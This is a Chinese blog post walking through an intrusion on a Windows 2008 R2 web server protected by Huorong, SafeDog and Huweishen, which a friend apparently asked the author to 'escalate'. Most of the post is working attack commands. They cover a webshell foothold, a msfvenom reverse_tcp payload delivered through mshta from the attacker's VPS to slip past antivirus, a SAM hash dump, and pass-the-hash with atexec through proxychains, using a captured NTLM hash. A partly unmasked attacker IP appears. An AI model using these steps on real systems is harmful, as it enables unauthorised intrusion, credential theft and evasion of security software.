记一次绕过火绒安全提权实战案例

0x01 前言

朋友发来一个站让帮看下提权,服务器上安装的有护卫神+火绒+安全狗等安全防护软件,看着确实挺唬人,他也试了不少常用提权EXP,结果都失败了,可能是欠缺免杀EXP能力吧,当然也有可能是修复了这些漏洞,抽空给他看了下并写了这篇记录文章。

在拿到权限后用中国菜刀连了下,不过好像被拦截了,提示:服务器返回无效或不可识别的响应,以前也多次遇到这种情况,这里只要换成Godzilla就能正常连接了。

0x02 服务器基本信息搜集

虽然朋友在测试后给提供了些信息,但还是习惯自己去看下,因为每个人掌握的知识点和实战经验不一样,只有自己看了后才知道安装了哪些环境、WAF/AV和第三方软件,以及开放了哪些端口、打了多少补丁等,这样才能更好对其系统薄弱点进行测试
目标系统:Windows 2008 R2 (6.1 Build 7601, Service Pack 1).
当前权限:iis apppool\*****.com
支持脚本:ASP、ASPX、PHP,能够直接执行系统命令
开放端口:21(ftp)、80(http)、135(rpc)、443(https)、445(smb)、801(http)、3306(mysql)、2121(G6FTP)、8021(G6FTP)、6588(hws)、58895(TermService)
进程名称:G6FTPServer.exe、G6FTPTray.exe、HwsHostPanel.exe、mysqld.exe、php-cgi.exe、SafeDogUpdateCenter.exe、CloudHelper.exe、SafeDogGuardCenter.exe、SafeDogTray.exe、SafeDogGuardHelper.exe、SafeDogGuardHelper.exe、HipsTray.exe、HipsDaemon.exe、usysdiag.exe

服务器上运行的有:火绒、护卫神主机大师、服务器安全狗、MySQL数据库和G6FTP,可以尝试提权方式有:护卫神主机大师、MySQL和G6FTP,不过在提权过程中得注意下火绒和服务器安全狗的查杀和拦截,尽可能的避免被管理员发现

0x03 绕过火绒获取MSF会话

个人习惯在MSF下进行提权,首先我们先想办法获取一个会话,火绒默认会拦截web_delivery中的powershell执行和查杀hta_server的hta文件,所以这两种方式在这里是行不通的。

这里我们直接利用mshta白名单来获取MSF会话,首先执行以下命令生成shellcode并执行监听,然后将exp.hta文件中的shellcode替换为MSF的shellcode即可
[root@p1600778655 ~]# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=155.**.***.16 lport=443 -f raw > /tmp/shellcode.bin
[root@p1600778655 ~]# cat /tmp/shellcode.bin | base64 -w 0
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 155.**.***.16
msf6 exploit(multi/handler) > set lport 443
msf6 exploit(multi/handler) > exploit

接着我们在VPS上用Python开启一个临时Web用于远程调用,然后再去ASPX大马的执行命令功能处用系统自带的mshta.exe执行exp.hta这个文件后即可上线
python -m SimpleHTTPServer 8888
python3 -m http.server 8888


0x04 SAM注册表项导出哈希

朋友前期已经测试了很多提权EXP,加上护卫神主机大师为高版本,MySQL也被降权了,所以就不再去测试这些常规方法了,G6FTP还是可以去试一下,不过我这用的是另一种非常规方法。

直接利用《西部数码云主机失败提权案例》一文中提到的方法,原理也很简单,当SAM注册表项有Users或Everyone的读取权限时就能利用MSF下的hashdump模块导出哈希。
meterpreter > getuid
meterpreter > load powershell
meterpreter > powershell_shell
PS > Get-Acl -Path HKLM:\SAM\SAM | Format-List
meterpreter > run post/windows/gather/hashdump

0x05 atexec提升System权限

已经利用SAM注册表项权限问题导出了主机哈希,但依旧面临着一些问题,如:没有明文密码、破解不了哈希、添加不了用户等,如遇到这种场景时应该怎样进行下一步测试呢?

这时我们可以尝试使用支持HASH传递的远程命令执行工具来执行系统命令,这里以Impacket套件远程命令执行功能中的atexec来做演示,其他支持哈希传递的工具以及利用方式如下。

135端口:
WMIcmd/sharpwmi/WMIHACKER/Sharp-WMIExec;

Impacket:

psexec(445)/wmiexec(135)/smbexec(445)/atexec(445);

利用方式:

Local本地执行 、Socks4/5代理 、Metasploit虚拟路由表;
这里我们先将当前MSF会话添加进虚拟路由,然后再用socks_proxy模块开启一个socks5代理,修改下proxychains.conf配置文件,最后用proxychains代理工具来执行atexec即可
meterpreter > run get_local_subnets
meterpreter > run autoroute -s 59.***.***.0/255.255.255.0
meterpreter > bg

msf6 auxiliary(server/socks_proxy) > set username test
msf6 auxiliary(server/socks_proxy) > set password 123456
msf6 auxiliary(server/socks_proxy) > run

Kali的proxychains配置默认在/etc/proxychains.conf,而自行编译安装的proxychains4配置在根目录下/src/proxychains.conf,如何修改就不细说了,配置文件里都有例子
[root@p1600778655 src]# vi /srv/proxychains/src/proxychains.conf

利用proxychains代理工具执行atexec时可能会出现以下报错,且没有命令执行回显,但我们可以先用Ping 9o**mf.dnslog.cn命令看下是否执行成功,如果DNSLog收到数据则说明成功。
[root@p1600778655 ~]# proxychains4 -f /srv/proxychains/src/proxychains.conf python3 /srv/impacket/examples/atexec.py -hashes :ebdccc154cadcda7f5ef0a2149274f3c administrator@59.***.***.230 "cmd /c ping 9o**mf.dnslog.cn"

确定命令执行成功后,我们另起一个命令终端开启MSF监听,然后再用proxychains代理工具执行atexec,这里再次执行前边用到的exp.hta文件后即可得到目标主机SYSTEM

meterpreter > run get_local_subnets
meterpreter > run autoroute -s 59.***.***.0/255.255.255.0
meterpreter > bg

msf6 auxiliary(server/socks_proxy) > set username test
msf6 auxiliary(server/socks_proxy) > set password 123456
msf6 auxiliary(server/socks_proxy) > run


踩坑记录-1:
如果没有将当前MSF会话添加至虚拟路由时,即使开了Socks5代理也不能用proxychains代理工具执行atexec,会报出以下错误提示,因为MSF的Socks模块是在VPS上开启一个Socks代理,在没有添加虚拟路由前是不能与目标445端口进行通讯,除非是在目标主机上开启Socks代理,然后本地连接目标开启的Socks后才能与目标445端口进行通讯。


踩坑记录-2:
Socks代理流量已经通了,但是在利用proxychains代理工具执行atexec时出现了以下报错,且没有命令执行回显,执行whoami>1.txt命令也写不了文件,当然这可能只是这个环境出现的个别案例,但我们可以通过ping dnslog命令来判断是否执行成功。

0x06 总结


1.通过格拉斯成功连接一句话
2.执行systeminfo 命令发现目录时windows2008r2 SP1
3.执行命令whoami发现iis权限,执行netstat -ano,发现21,80,445,801,3306,等端口开放
4.通过执行命令tasklist/svc,通过在线杀软进程对比,发现目标系统中存在护卫神,火绒,安全狗防护软件
以及数据库mysql和G6FTP
5.执行以下命令生成shellcode并执行监听
 msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=155.124.145.16   lport=443 -f raw > /tmp/shellcode.bin
6.查看shellcode.bin代码并通过base64输出代码
cat /tmp/shellcode.bin | base64 -w 0
msf6 > set payload windows/meterpreter/reverse_tcp
msf6 > set lhost 155.124.145.16
msf6 > set lport 443
msf6 > exploit

7.自定义新建exp.hta,然后将exp.hta文件中的shellcode替换为MSF的shellcode即可。
<script  language="VBScript">
Dim  binary:binary="rundll32.exe"
dim  code:code=
"shecode.bin内容的base64"
8.接着在VPS上用Python开启一个临时Web用于远程调用
python -m SimpleHTTPServer 8888
python3 -m http.server 8888
9.通过格拉斯上传APX大马,在ASPX大马的命令中执行
cmdpath:
c:\windows\system32\cmd.exe
argument:
/c  mshta  http://155.124.145.16/exp.hta
10.当SAM注册表项有Users或Everyone的读取权限时就能利用MSF下的hashdump模块导出哈希。
meterpreter > getuid
meterpreter > load powershell
meterpreter > powershell_shell
PS > Get-Acl -Path HKLM:\SAM\SAM | Format-List
meterpreter > run post/windows/gather/hashdump
11.已经利用SAM注册表项权限问题导出了主机哈希,但是解密不出来
12.这里我们先将当前MSF会话添加进虚拟路由
meterpreter > run get_local_subnets
meterpreter > run autoroute -s 59.***.***.0/255.255.255.0
meterpreter > bg
13.使用socks_proxy模块开启一个socks5代理,。
msf6 auxiliary(server/socks_proxy) > set username test
msf6 auxiliary(server/socks_proxy) > set password 123456
msf6 auxiliary(server/socks_proxy) > run
14.Kali的proxychains配置默认在/etc/proxychains.conf,而自行编译安装的proxychains4配置在根目录下/src/proxychains.conf,如何修改就不细说了,配置文件里都有例子。
[root@p1600778655 src]# vi /srv/proxychains/src/proxychains.conf
15.利用proxychains代理工具执行atexec时可能会出现以下报错,且没有命令执行回显,但我们可以先用Ping 9o**mf.dnslog.cn命令看下是否执行成功,如果DNSLog收到数据则说明成功
proxychains4 -f /srv/proxychains/src/proxychains.conf python3 /srv/impacket/examples/atexec.py -hashes :ebdccc154cadcda7f5ef0a2149274f3c administrator@59.***.***.230 "cmd /c ping 9o**mf.dnslog.cn"
16.另起一个命令终端开启MSF监听,然后再用proxychains代理工具执行atexec,这里再次执行前边用到的exp.hta文件后即可得到目标主机SYSTEM
msf6 auxiliary(server/socks_proxy) >sessions  -i  1
meterpreter > run get_local_subnets
meterpreter > run autoroute -s  59.***.***.0/255.255.255.0
meterpreter > bg
msf6 auxiliary(server/socks_proxy) > set username test
msf6 auxiliary(server/socks_proxy) > set password 123456
msf6 auxiliary(server/socks_proxy) > run




posted @ 2022-01-24 16:33  渗透测试中心  阅读(2688)  评论(0编辑  收藏  举报